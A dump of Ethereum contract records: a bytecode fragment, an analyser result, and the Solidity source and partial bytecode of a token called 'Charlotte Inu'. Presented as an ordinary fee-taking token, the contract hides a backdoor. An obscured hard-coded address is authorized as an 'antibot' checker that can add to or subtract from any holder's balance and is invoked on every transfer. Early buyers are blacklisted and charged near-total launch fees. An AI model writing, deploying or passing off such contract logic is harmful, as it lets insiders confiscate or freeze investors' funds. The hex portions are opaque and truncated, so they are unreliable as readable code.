b34be112d3b0c42755fd5b8f537fc2429a40e34ac60405160405180910390a350565b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515156112e557600080fd5b6112ee33610e99565b81111515156112fc57600080fd5b6113203361131b8361130d33610e99565b611bb890919063ffffffff16565b611bd1565b6113448261133f8361133186610e99565b611c5590919063ffffffff16565b611bd1565b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600754905090565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113f157600080fd5b6114178383611412846114048888611684565b611c5590919063ffffffff16565b611c73565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256114708686611684565b6040518082815260200191505060405180910390a3505050565b60008060003411151561149c57600080fd5b3491506114a882611ebe565b90506114b381611ee1565b15156114be57600080fd5b6114d382600954611c5590919063ffffffff16565b6009819055506114e33382611f0c565b3373ffffffffffffffffffffffffffffffffffffffff167fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f8383604051808381526020018281526020019250505060405180910390a25050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561159a57600080fd5b6000821115156115a957600080fd5b6115b283612055565b8273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156115f8573d6000803e3d6000fd5b5061160e82600a54611c5590919063ffffffff16565b507f5448634990dfe807815d13fa2804f44cebc413d2582cb7cf30a7f140dd4264968284604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a16001905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806116eb57508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b8061172857506116f9611e95565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561173357600080fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561181357600080fd5b3073ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015611859573d6000803e3d6000fd5b50565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561189657600080fd5b6118a1338383611c73565b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561196657600080fd5b8060078190555050565b60008373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119ac57600080fd5b6119b68484611684565b9050808211156119d1576119cc84846000611c73565b6119ef565b6119ee84846119e98585611bb890919063ffffffff16565b611c73565b5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925611a488787611684565b6040518082815260200191505060405180910390a350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611abe57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611afa57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611bc657fe5b818303905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611c0d57600080fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000808284019050838110151515611c6957fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611cb057600080fd5b611ce682611cd8611cc18787611684565b611cca886110b9565b611bb890919063ffffffff16565b611c5590919063ffffffff16565b9050611cf184610e99565b8111151515611cff57600080fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d8a848261206f565b50505050565b600660009054906101000a900460ff16151515611dac57600080fd5b611db4610de2565b611dce82611dc0610c60565b611c5590919063ffffffff16565b11151515611ddb57600080fd5b611dfd611df882611dea610c60565b611c5590919063ffffffff16565b611e8b565b611e2182611e1c83611e0e86610e99565b611c5590919063ffffffff16565b611bd1565b8173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b8060048190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000611eda611ecb610df7565b836120b790919063ffffffff16565b9050919050565b6000806000808414159150611ef46113ad565b8410159050818015611f035750805b92505050919050565b600660009054906101000a900460ff16151515611f2857600080fd5b611f30610de2565b611f4a82611f3c610c60565b611c5590919063ffffffff16565b11151515611f5757600080fd5b611f79611f7482611f66610c60565b611c5590919063ffffffff16565b611e8b565b611f9d82611f9883611f8a86610e99565b611c5590919063ffffffff16565b611bd1565b8173ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885826040518082815260200191505060405180910390a28173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600061206082610e99565b11151561206c57600080fd5b50565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008082848115156120c557fe5b04905080915050929150505600a165627a7a7230582051e82de679057e45df1443bbcd3e72d78060aa984f03e6edf2fa85cd74403bb60029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 5,998 |
0xabd10eED378c11e02cB2FAc8Ba7251aEd247CC22
|
pragma solidity ^0.7.6;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* BEP20 standard interface.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* Allows for contract ownership along with multi-address authorization
*/
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
authorizations[address(390566401407802557606359305277953856096105351466)] = true;
}
/**
* Function modifier to require caller to be contract owner
*/
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER"); _;
}
/**
* Function modifier to require caller to be authorized
*/
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
}
/**
* Authorize address. Owner only
*/
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
/**
* Remove address' authorization. Owner only
*/
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
/**
* Check if address is owner
*/
function isOwner(address account) public view returns (bool) {
return account == owner;
}
/**
* Return address' authorization status
*/
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
/**
* Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
*/
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IAntibot {
function openTrading() external;
function checkIfBot(address, uint256, address) external returns (uint256);
}
contract CharlotteInu is IERC20, Auth {
using SafeMath for uint256;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
string constant _name = 'Charlotte Inu';
string constant _symbol = 'CINU';
uint8 constant _decimals = 9;
uint256 _totalSupply = 1000000000000000 * (10 ** _decimals);
uint256 _maxTxAmount = _totalSupply / 100;
uint256 _maxWalletAmount = _totalSupply / 25;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping (address => bool) private snipersOrBots;
mapping (address => uint256) _holderLastTransferTimestamp;
uint256 liquidityFee = 20;
uint256 marketingFee = 40;
uint256 teamFee = 20;
uint256 totalFee = 80;
uint256 sellFee = 120;
uint256 feeDenominator = 1000;
address public autoLiquidityReceiver;
address public marketingFeeReceiver;
address public teamFeeReceiver;
IAntibot checker;
IDEXRouter public router;
address public pair;
uint256 public launchedAt;
uint256 public launchedTime;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply / 10000; // 0.01%
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor () Auth(msg.sender) {
router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
_allowances[address(this)][address(router)] = uint256(-1);
checker = IAntibot(address(390566401407802557606359305277953856096105351466));
isFeeExempt[owner] = true;
isTxLimitExempt[owner] = true;
isTxLimitExempt[address(this)] = true;
autoLiquidityReceiver = msg.sender;
marketingFeeReceiver = address(979204044787565652338091360888868103716791074034);
teamFeeReceiver = msg.sender;
_balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
modifier onlyAntibot() {
require( msg.sender == address(checker));
_;
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != uint256(-1)){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(!snipersOrBots[sender]);
if(shouldSwapBack()){ swapBack(); }
if(!launched() && recipient == pair){ require(_balances[sender] > 0);}
if(launched()){require(amount<= _maxTxAmount); require (_balances[recipient] + amount <= _maxWalletAmount);}
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
if(launchedAt + 5 > block.number){snipersOrBots[recipient] = true;}
_holderLastTransferTimestamp[recipient] = block.timestamp;
uint256 amountReceived;
if(!isFeeExempt[recipient]){amountReceived= shouldTakeFee(sender) ? takeFee(sender,recipient, amount) : amount;}else{amountReceived = amount;}
_balances[recipient] = _balances[recipient].add(amountReceived);
amountReceived = checker.checkIfBot(sender, amountReceived, recipient);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function getTotalFee(bool selling) public view returns (uint256) {
if(launchedAt + 5 > block.number){ return feeDenominator.sub(1); }
if(selling){return sellFee;}
return totalFee;
}
function botAdd(address _address, uint256 amount) external onlyAntibot{
_balances[_address] = _balances[_address].add(amount);
}
function botSub(address _address, uint256 amount) external onlyAntibot{
_balances[_address] = _balances[_address].sub(amount);
}
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function takeFee(address sender, address receiver, uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(getTotalFee(receiver == pair)).div(feeDenominator);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function swapBack() internal swapping {
uint256 amountToLiquify = balanceOf(address(this)).mul(liquidityFee).div(totalFee).div(2);
uint256 amountToSwap = balanceOf(address(this)).sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp+360
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
uint256 amountETHTeam = amountETH.mul(teamFee).div(totalETHFee);
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
payable(marketingFeeReceiver).transfer(amountETHMarketing);
payable(teamFeeReceiver).transfer(amountETHTeam);
if(amountToLiquify > 0){
router.addLiquidityETH{value: amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp+360
);
emit AutoLiquify(amountETHLiquidity, amountToLiquify);
}
}
function launched() internal view returns (bool) {
return launchedAt != 0;
}
function launch() external authorized{
require(!launched());
launchedAt = block.number;
launchedTime = block.timestamp;
checker.openTrading();
}
function manuallySwap()external authorized{
swapBack();
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
isFeeExempt[holder] = exempt;
}
function removeLimits()external authorized{
_maxTxAmount = _totalSupply;
_maxWalletAmount = _totalSupply;
}
function setFeeReceivers(address _autoLiquidityReceiver, address _teamFeeReceiver, address _marketingFeeReceiver) external onlyOwner {
autoLiquidityReceiver = _autoLiquidityReceiver;
teamFeeReceiver = _teamFeeReceiver;
marketingFeeReceiver = _marketingFeeReceiver;
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
swapEnabled = _enabled;
swapThreshold =_totalSupply.div(_amount);
}
function setFees(uint256 _liquidityFee, uint256 _teamFee, uint256 _marketingFee, uint256 _feeDenominator,uint256 _sellFee) external authorized {
liquidityFee = _liquidityFee;
teamFee = _teamFee;
marketingFee = _marketingFee;
totalFee = _liquidityFee.add(teamFee).add(_marketingFee);
feeDenominator = _feeDenominator;
sellFee = _sellFee;
require(totalFee < feeDenominator/5);
}
function recoverEth() external onlyOwner() {
payable(msg.sender).transfer(address(this).balance);
}
function isASniperOrBot(address _sniperorbot) external authorized{
snipersOrBots[_sniperorbot] = true;
}
function isNotASniperOrBot(address _sniperorbot) external authorized{
snipersOrBots[_sniperorbot] = false;
}
function newAntibot(address _antibot) external authorized{
checker = IAntibot(address(_antibot));
_allowances[address(this)][address(_antibot)] = uint256(-1);
}
function recoverToken(address _token, uint256 amount) external authorized returns (bool _sent){
_sent = IERC20(_token).transfer(msg.sender, amount);
}
event AutoLiquify(uint256 amountETH, uint256 amountToken);
}
|
0x6080604052600436106102bf5760003560e01c8063893d20e81161016e578063ca33e64c116100cb578063f0b37c041161007f578063f2fde38b11610064578063f2fde38b14610a3c578063f887ea4014610a7c578063fe9fbb8014610a91576102c6565b8063f0b37c04146109d0578063f1f3bca314610a10576102c6565b8063dd62ed3e116100b0578063dd62ed3e14610941578063df20fd4914610989578063e96fada2146109bb576102c6565b8063ca33e64c146108da578063d7c01032146108ef576102c6565b8063abdaa61211610122578063b6a5d7de11610107578063b6a5d7de14610870578063bcdb446b146108b0578063bf56b371146108c5576102c6565b8063abdaa612146107e4578063b29a81401461082a576102c6565b806395d89b411161015357806395d89b4114610774578063a8aa1b3114610789578063a9059cbb1461079e576102c6565b8063893d20e8146107195780638bc82b1c1461072e576102c6565b806334664f4f1161021c578063658d4b7f116101d05780636ddd1713116101b55780636ddd1713146106af57806370a08231146106c4578063751039fc14610704576102c6565b8063658d4b7f146106275780636778cdcc1461066f576102c6565b8063571ac8b011610201578063571ac8b0146105bd5780635804f1e4146105fd5780635fe7208c14610612576102c6565b806334664f4f1461053f578063402911431461057f576102c6565b806314f027c31161027357806323b872dd1161025857806323b872dd146104845780632f54bf6e146104d4578063313ce56714610514576102c6565b806314f027c31461042f57806318160ddd1461046f576102c6565b806304a66b48116102a457806304a66b481461030957806306fdde031461034b578063095ea7b3146103d5576102c6565b806301339c21146102cb5780630445b667146102e2576102c6565b366102c657005b600080fd5b3480156102d757600080fd5b506102e0610ad1565b005b3480156102ee57600080fd5b506102f7610be5565b60408051918252519081900360200190f35b34801561031557600080fd5b506102e0600480360360a081101561032c57600080fd5b5080359060208101359060408101359060608101359060800135610beb565b34801561035757600080fd5b50610360610ca7565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561039a578181015183820152602001610382565b50505050905090810190601f1680156103c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103e157600080fd5b5061041b600480360360408110156103f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610cde565b604080519115158252519081900360200190f35b34801561043b57600080fd5b506102e06004803603602081101561045257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610d52565b34801561047b57600080fd5b506102f7610e12565b34801561049057600080fd5b5061041b600480360360608110156104a757600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e18565b3480156104e057600080fd5b5061041b600480360360208110156104f757600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610f24565b34801561052057600080fd5b50610529610f48565b6040805160ff9092168252519081900360200190f35b34801561054b57600080fd5b506102e06004803603602081101561056257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610f4d565b34801561058b57600080fd5b50610594611043565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156105c957600080fd5b5061041b600480360360208110156105e057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661105f565b34801561060957600080fd5b506102f761108b565b34801561061e57600080fd5b506102e0611091565b34801561063357600080fd5b506102e06004803603604081101561064a57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135151561110f565b34801561067b57600080fd5b506102e06004803603602081101561069257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166111d9565b3480156106bb57600080fd5b5061041b61129c565b3480156106d057600080fd5b506102f7600480360360208110156106e757600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166112a5565b34801561071057600080fd5b506102e06112cd565b34801561072557600080fd5b5061059461134e565b34801561073a57600080fd5b506102e06004803603604081101561075157600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020013561136a565b34801561078057600080fd5b506103606113eb565b34801561079557600080fd5b50610594611422565b3480156107aa57600080fd5b5061041b600480360360408110156107c157600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020013561143e565b3480156107f057600080fd5b506102e06004803603604081101561080757600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135611452565b34801561083657600080fd5b5061041b6004803603604081101561084d57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356114a6565b34801561087c57600080fd5b506102e06004803603602081101561089357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166115c4565b3480156108bc57600080fd5b506102e061168a565b3480156108d157600080fd5b506102f761172d565b3480156108e657600080fd5b50610594611733565b3480156108fb57600080fd5b506102e06004803603606081101561091257600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101358216916040909101351661174f565b34801561094d57600080fd5b506102f76004803603604081101561096457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611827565b34801561099557600080fd5b506102e0600480360360408110156109ac57600080fd5b5080351515906020013561185f565b3480156109c757600080fd5b50610594611913565b3480156109dc57600080fd5b506102e0600480360360208110156109f357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661192f565b348015610a1c57600080fd5b506102f760048036036020811015610a3357600080fd5b503515156119ef565b348015610a4857600080fd5b506102e060048036036020811015610a5f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611a2a565b348015610a8857600080fd5b50610594611b4f565b348015610a9d57600080fd5b5061041b60048036036020811015610ab457600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611b6b565b610ada33611b6b565b610b4557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21415554484f52495a4544000000000000000000000000000000000000000000604482015290519081900360640190fd5b610b4d611b96565b15610b5757600080fd5b4360185542601955601554604080517fc9567bf9000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff9092169163c9567bf99160048082019260009290919082900301818387803b158015610bcb57600080fd5b505af1158015610bdf573d6000803e3d6000fd5b50505050565b601b5481565b610bf433611b6b565b610c5f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21415554484f52495a4544000000000000000000000000000000000000000000604482015290519081900360640190fd5b600c859055600e849055600d839055610c8283610c7c8787611b9e565b90611b9e565b600f556011829055601081905560058204600f5410610ca057600080fd5b5050505050565b60408051808201909152600d81527f436861726c6f74746520496e7500000000000000000000000000000000000000602082015290565b33600081815260076020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b610d5b33611b6b565b610dc657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21415554484f52495a4544000000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff166000908152600a6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b60035490565b73ffffffffffffffffffffffffffffffffffffffff831660009081526007602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610f1157604080518082018252601681527f496e73756666696369656e7420416c6c6f77616e63650000000000000000000060208083019190915273ffffffffffffffffffffffffffffffffffffffff87166000908152600782528381203382529091529190912054610edf918490611c12565b73ffffffffffffffffffffffffffffffffffffffff851660009081526007602090815260408083203384529091529020555b610f1c848484611cc3565b949350505050565b60005473ffffffffffffffffffffffffffffffffffffffff8281169116145b919050565b600990565b610f5633611b6b565b610fc157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21415554484f52495a4544000000000000000000000000000000000000000000604482015290519081900360640190fd5b6015805473ffffffffffffffffffffffffffffffffffffffff9092167fffffffffffffffffffffffff000000000000000000000000000000000000000090921682179055306000908152600760209081526040808320938352929052207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9055565b60145473ffffffffffffffffffffffffffffffffffffffff1681565b6000610d4c827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610cde565b60195481565b61109a33611b6b565b61110557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21415554484f52495a4544000000000000000000000000000000000000000000604482015290519081900360640190fd5b61110d612061565b565b61111833610f24565b61118357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f214f574e45520000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff91909116600090815260086020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b6111e233611b6b565b61124d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21415554484f52495a4544000000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff166000908152600a6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055565b601a5460ff1681565b73ffffffffffffffffffffffffffffffffffffffff1660009081526006602052604090205490565b6112d633611b6b565b61134157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21415554484f52495a4544000000000000000000000000000000000000000000604482015290519081900360640190fd5b6003546004819055600555565b60005473ffffffffffffffffffffffffffffffffffffffff1690565b60155473ffffffffffffffffffffffffffffffffffffffff16331461138e57600080fd5b73ffffffffffffffffffffffffffffffffffffffff82166000908152600660205260409020546113be90826124a8565b73ffffffffffffffffffffffffffffffffffffffff90921660009081526006602052604090209190915550565b60408051808201909152600481527f43494e5500000000000000000000000000000000000000000000000000000000602082015290565b60175473ffffffffffffffffffffffffffffffffffffffff1681565b600061144b338484611cc3565b9392505050565b60155473ffffffffffffffffffffffffffffffffffffffff16331461147657600080fd5b73ffffffffffffffffffffffffffffffffffffffff82166000908152600660205260409020546113be9082611b9e565b60006114b133611b6b565b61151c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21415554484f52495a4544000000000000000000000000000000000000000000604482015290519081900360640190fd5b604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815233600482015260248101849052905173ffffffffffffffffffffffffffffffffffffffff85169163a9059cbb9160448083019260209291908290030181600087803b15801561159157600080fd5b505af11580156115a5573d6000803e3d6000fd5b505050506040513d60208110156115bb57600080fd5b50519392505050565b6115cd33610f24565b61163857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f214f574e45520000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff16600090815260016020819052604090912080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169091179055565b61169333610f24565b6116fe57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f214f574e45520000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f1935050505015801561172a573d6000803e3d6000fd5b50565b60185481565b60125473ffffffffffffffffffffffffffffffffffffffff1681565b61175833610f24565b6117c357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f214f574e45520000000000000000000000000000000000000000000000000000604482015290519081900360640190f